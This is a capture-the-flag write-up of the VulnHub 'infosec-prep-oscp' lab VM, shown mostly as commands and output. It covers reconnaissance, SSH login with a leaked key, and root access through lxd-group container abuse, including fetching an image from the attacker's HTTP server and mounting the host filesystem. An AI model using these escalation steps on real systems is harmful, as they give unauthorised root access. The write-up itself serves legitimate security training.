OSCP-Voucher-Giveaway-VM – unintended method – Write-up

Offensive Security Community Manager Tjnull offered up a voucher for the OSCP PWK. For a chance to win the OSCP voucher, participants must download a VM from VulnHub, get root permissions on the VM, and submit the flag to a user in Discord.

VulnHubLink: https://www.vulnhub.com/entry/infosec-prep-oscp,508/

Lets dig in an see what we can find.


To start off, nmap running all default scripts, enumerate versions, output all formats into file “simple” on target

kali@kali:~/htb/oscp$ nmap -sC -sV -oA simple
Host is up (0.00028s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: OSCP Voucher – Just another WordPress site
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 19 20:34:55 2020 -- 1 IP address (1 host up) scanned in 7.74 seconds

Nmap has already shown a suspicious .txt seen in /robots.txt.

Secret.txt reveals some base64. No need to check out the website any further at this point.

Copy the contents to a file called secrets.txt


kali@kali:~/htb/oscp$ sudo vi secrets.txt

Here we “cat” the contents and pipe into base64 for decode.

kali@kali:~/htb/oscp$ cat secrets.txt | base64 -d > oscp.key

SSH private key. We already are given the user from the contest details so lets just try and ssh in.

kali@kali:~/htb/oscp$ cat oscp.key

Connecting using the oscp.key private key file as user “oscp”.

kali@kali:~/htb/oscp$ ssh -i oscp.key oscp@
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 22 Jul 2020 11:36:31 PM UTC

  System load:  0.8                Processes:             173
  Usage of /:   26.7% of 19.56GB   Users logged in:       0
  Memory usage: 55%                IPv4 address for eth0:
  Swap usage:   0%

 * "If you've been waiting for the perfect Kubernetes dev solution for
   macOS, the wait is over. Learn how to install Microk8s on macOS."


0 updates can be installed immediately.
0 of these updates are security updates.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 22 00:12:03 2020 from

We are in!

Privilege Escalation

“id” shows that we are in the “lxd” group so lets attempt to use that for privilege escalation.

-bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

Back on the attacker machine, grab the lxd-alpine-builder code from github and build the needed zip file.

kali@kali:~/tools/lxd/$ git clone https://github.com/saghul/lxd-alpine-builder.git
kali@kali:~/tools/lxd/$ cd lxd-alpine-builder/
kali@kali:~/tools/lxd/lxd-alpine-builder/$ ./build-alpine

kali@kali:~/tools/lxd/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20200719_2153.tar.gz  build-alpine  LICENSE  README.md

Start up a simple HTTP server from the attacking machine that will allow us to pull down the .tar.gz

kali@kali:~/tools/lxd/lxd-alpine-builder$ sudo python -m SimpleHTTPServer 80
[sudo] password for kali: 
Serving HTTP on port 80 ...

On the target machine, perform a wget on the .tar.gz

-bash-5.0$ wget
--2020-07-22 23:44:35--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3186439 (3.0M) [application/gzip]
Saving to: 'alpine-v3.12-x86_64-20200719_2153.tar.gz.1'

alpine-v3.12-x86_64-20200719_21 100%[=======================================================>]   3.04M  --.-KB/s    in 0.04s   

2020-07-22 23:44:35 (86.6 MB/s) - 'alpine-v3.12-x86_64-20200719_2153.tar.gz.1' saved [3186439/3186439]

LXC is not in the default bin so lets find out where we need to specify execution from.

-bash-5.0$ find / -name lxc > lxcsearch.txt
-bash-5.0$ head lxcsearch.txt

/snap/bin/lxc is what I use for LXC commands moving forward. Lets import the image.

-bash-5.0$ /snap/bin/lxc image import ./alpine-v3.12-x86_64-20200719_2153.tar.gz --alias trenchesofit
Image imported with fingerprint: e279d5bc0806b79884c8a0cf7952c86a53d9da5a23b7e13ee75b42628118b8f9
-bash-5.0$ /snap/bin/lxc image list
|    ALIAS     | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |          UPLOAD DATE          |
| trenchesofit | e279d5bc0806 | no     | alpine v3.12 (20200719_21:53) | x86_64       | CONTAINER | 3.04MB | Jul 22, 2020 at 11:59pm (UTC) |

Create a storage pool and assign storage location.

-bash-5.0$ /snap/bin/lxc storage create pool dir
Storage pool pool created
-bash-5.0$ /snap/bin/lxc profile device add default root disk path=/ pool=pool
Device root added to default
-bash-5.0$ /snap/bin/lxc storage list
| NAME | DESCRIPTION | DRIVER |                   SOURCE                    | USED BY |
| pool |             | dir    | /var/snap/lxd/common/lxd/storage-pools/pool | 1       |

Initiate the instance using the name “trenchesofit” or the alias specified during the image import.

-bash-5.0$ /snap/bin/lxc init trenchesofit ignite -c security.privileged=true
Creating ignite
The instance you are starting doesn't have any network attached to it.
  To create a new network, use: lxc network create
  To attach a network to an instance, use: lxc network attach

Mount the host file system and start the instance.

-bash-5.0$ /snap/bin/lxc config device add ignite trenches disk source=/ path=/mnt/root recursive=true
Device trenches added to ignite
-bash-5.0$ /snap/bin/lxc start ignite

Now execute bash on the container. You will see we are now root on the container.

-bash-5.0$ /snap/bin/lxc exec ignite /bin/sh
~ # 
~ # id
uid=0(root) gid=0(root)

We initially mounted the host file system in the /mnt/root of the container.

/mnt/root # ls
bin         dev         lib         libx32      mnt         root        snap        sys         var
boot        etc         lib32       lost+found  opt         run         srv         tmp
cdrom       home        lib64       media       proc        sbin        swap.img    usr

Now we have permissions to navigate to /mnt/root/root and view the flag.txt

/ # cd /mnt/root/root
/mnt/root/root # ls
fix-wordpress  flag.txt       snap
/mnt/root/root # cat flag.txt


Once I had submitted the flag, I had seen other comments saying the intended path was much simpler. This was to simply:

-bash-5.0$ /bin/bash -p
bash-5.0# whoami

So yes I way over-complicated the privilege escalation, but hey, I learned a thing or two. And to all of you at Offensive Security, I “Tried Harder” even though I didn’t have to.

Until next time, stay safe in the Trenches of IT!

Leave a Reply